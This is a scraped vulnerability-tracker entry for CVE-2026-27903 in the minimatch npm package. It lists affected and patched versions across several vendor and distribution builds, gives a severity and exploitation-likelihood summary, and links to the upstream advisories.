10.1.1-tuxcare.1 |
minimatchTuxCare:npm From an advisory covering 3 CVEs |
9.0.5-tuxcare.0 up to 9.0.5-tuxcare.1, plus listed versions 9.0.5 |
9.0.5-tuxcare.1 |
minimatchTuxCare:npm From an advisory covering 2 CVEs |
10.2.2-tuxcare.0 up to 10.2.2-tuxcare.1, plus listed versions 10.2.2 |
10.2.2-tuxcare.1 |
minimatchTuxCare:npm From an advisory covering 2 CVEs |
5.1.1-tuxcare.0 up to 5.1.1-tuxcare.1, plus listed versions 5.1.1 |
5.1.1-tuxcare.1 |
minimatchTuxCare:npm From an advisory covering 3 CVEs |
3.0.3-tuxcare.0 up to 3.0.3-tuxcare.1, plus listed versions 3.0.3 |
3.0.3-tuxcare.1 |
minimatchTuxCare:npm From an advisory covering 2 CVEs |
5.1.2-tuxcare.0 up to 5.1.2-tuxcare.1, plus listed versions 5.1.2 |
5.1.2-tuxcare.1 |
minimatchTuxCare:npm From an advisory covering 2 CVEs |
4.2.3-tuxcare.0 up to 4.2.3-tuxcare.1, plus listed versions 4.2.3 |
4.2.3-tuxcare.1 |
minimatchTuxCare:npm From an advisory covering 3 CVEs |
5.1.6-tuxcare.0 up to 5.1.6-tuxcare.1, plus listed versions 5.1.6 |
5.1.6-tuxcare.1 |
node-minimatchDebian:12 |
All versions, plus listed versions 5.1.1+~5.1.2-19.0.3-19.0.3-29.0.3-39.0.3-4 Show 4 moreShow less9.0.3-59.0.3-69.0.7-19.0.7-2 |
None known |
node-minimatchDebian:13 |
All versions, plus listed versions 9.0.3-69.0.7-19.0.7-2 |
None known |
node-minimatchDebian:14 |
before 9.0.7-1, plus listed versions 9.0.3-6 |
9.0.7-1 |
minimatchRoot:npm |
before 9.0.6-aikido.2 | 9.0.6-aikido.210.1.1-aikido.310.1.2-aikido.43.0.5-aikido.29.0.0-aikido.43.1.2-aikido.45.1.0-aikido.39.0.4-aikido.310.0.1-aikido.45.1.0-aikido.49.0.5-aikido.410.0.3-aikido.49.0.3-aikido.410.2.2-aikido.28.0.4-aikido.35.1.6-aikido.49.0.4-aikido.43.0.8-aikido.33.0.4-aikido.24.2.1-aikido.14.2.3-aikido.17.4.6-aikido.2 |
@rootio/minimatchRoot:npm |
before 9.0.6-root.io.2 | 9.0.6-root.io.29.0.5-root.io.310.0.3-root.io.23.1.2-root.io.35.1.6-root.io.29.0.3-root.io.25.1.6-root.io.310.0.1-root.io.39.0.3-root.io.310.0.3-root.io.310.1.2-root.io.39.0.0-root.io.29.0.0-root.io.39.0.4-root.io.25.1.0-root.io.210.1.1-root.io.310.1.2-root.io.410.2.2-root.io.13.0.5-root.io.29.0.0-root.io.43.1.2-root.io.45.1.0-root.io.39.0.4-root.io.310.0.1-root.io.49.0.5-root.io.45.1.0-root.io.410.1.1-root.io.210.0.3-root.io.43.0.5-root.io.19.0.3-root.io.49.0.6-root.io.110.2.2-root.io.28.0.4-root.io.35.1.6-root.io.49.0.4-root.io.43.0.8-root.io.33.0.4-root.io.24.2.1-root.io.14.2.3-root.io.17.4.6-root.io.2 |
node-minimatchUbuntu:Pro:14.04:LTS |
All versions, plus listed versions 0.2.11-10.2.12-10.2.12-1ubuntu0.1~esm2 |
None known |
node-minimatchUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 1.0.0-11.0.0-1ubuntu0.1~esm2 |
None known |
node-minimatchUbuntu:18.04:LTS |
All versions, plus listed versions 3.0.4-13.0.4-33.0.4-3+deb10u1build0.18.04.1 |
None known |
node-minimatchUbuntu:20.04:LTS |
All versions, plus listed versions 3.0.4-33.0.4-43.0.4-4ubuntu0.1 |
None known |
node-minimatchUbuntu:22.04:LTS |
All versions, plus listed versions 3.0.4+~3.0.3-13.0.4+~3.0.5-13.1.1+~3.0.5-1 |
None known |
node-minimatchUbuntu:24.04:LTS |
All versions, plus listed versions 5.1.1+~5.1.2-19.0.3-4build5 |
None known |
node-minimatchUbuntu:25.10 |
All versions, plus listed versions 9.0.3-59.0.3-6 |
None known |
node-minimatchUbuntu:26.10 |
All versions, plus listed versions 9.0.3-69.0.7-1 |
None known |
node-minimatchUbuntu:26.04:LTS |
All versions, plus listed versions 9.0.3-6 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, aliases | OSV | |
| affected | ||
| facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-27903 is a high vulnerability (CVSS 7.5) in Isaacs Minimatch, published February 26, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.58%, the 47th percentile. Fixed in minimatch 10.2.3.
References
github.com/isaacs/minimatch/security/advisories/GHSA-7r86-cg39-jmmj
nvd.nist.gov/vuln/detail/CVE-2026-27903
github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748
github.com/advisories/GHSA-7r86-cg39-jmmj
github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27903.json
security-tracker.debian.org/tracker/CVE-2026-27903
github.com/isaacs/minimatch
ubuntu.com/security/CVE-2026-27903
cve.org/CVERecord?id=CVE-2026-27903
Left out here: the rest of 2 source descriptions. The JSON record has them.